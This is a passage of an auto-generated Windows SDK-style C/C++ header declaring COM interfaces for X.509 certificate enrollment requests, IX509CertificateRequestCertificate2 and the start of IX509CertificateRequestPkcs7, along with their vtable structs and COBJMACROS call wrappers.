\n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckPublicKeySignature )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Issuer )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Issuer )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NotBefore )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NotBefore )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NotAfter )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NotAfter )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SerialNumber )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SerialNumber )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKeyTemplate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        END_INTERFACE\n    } IX509CertificateRequestCertificate2Vtbl;\n\n    interface IX509CertificateRequestCertificate2\n    {\n        CONST_VTBL struct IX509CertificateRequestCertificate2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestCertificate2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestCertificate2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestCertificate2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestCertificate2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestCertificate2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestCertificate2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestCertificate2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestCertificate2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestCertificate2_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestCertificate2_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestCertificate2_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestCertificate2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate2_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate2_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate2_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestCertificate2_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestCertificate2_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestCertificate2_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestCertificate2_CheckPublicKeySignature(This,pPublicKey)\t\\\n    ( (This)->lpVtbl -> CheckPublicKeySignature(This,pPublicKey) ) \n\n#define IX509CertificateRequestCertificate2_get_Issuer(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Issuer(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_Issuer(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Issuer(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_NotBefore(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NotBefore(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_NotBefore(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NotBefore(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_NotAfter(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NotAfter(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_NotAfter(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NotAfter(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_SerialNumber(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SerialNumber(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_SerialNumber(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_SerialNumber(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n\n#define IX509CertificateRequestCertificate2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestCertificate2_InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestCertificate2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestCertificate2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestCertificate2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs7_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs7_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs7 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs7;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab344-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs7 : public IX509CertificateRequest\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplateName( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions = InheritDefault) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromInnerRequest( \n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_RequesterName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_RequesterName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificate( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_SignerCertificate( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs7Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs7 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs7 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs7 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs7 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs7 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequesterName )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RequesterName )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs7Vtbl;\n\n    interface IX509CertificateRequestPkcs7\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs7Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs7_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs7_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs7_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs7_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs7_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs7_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define 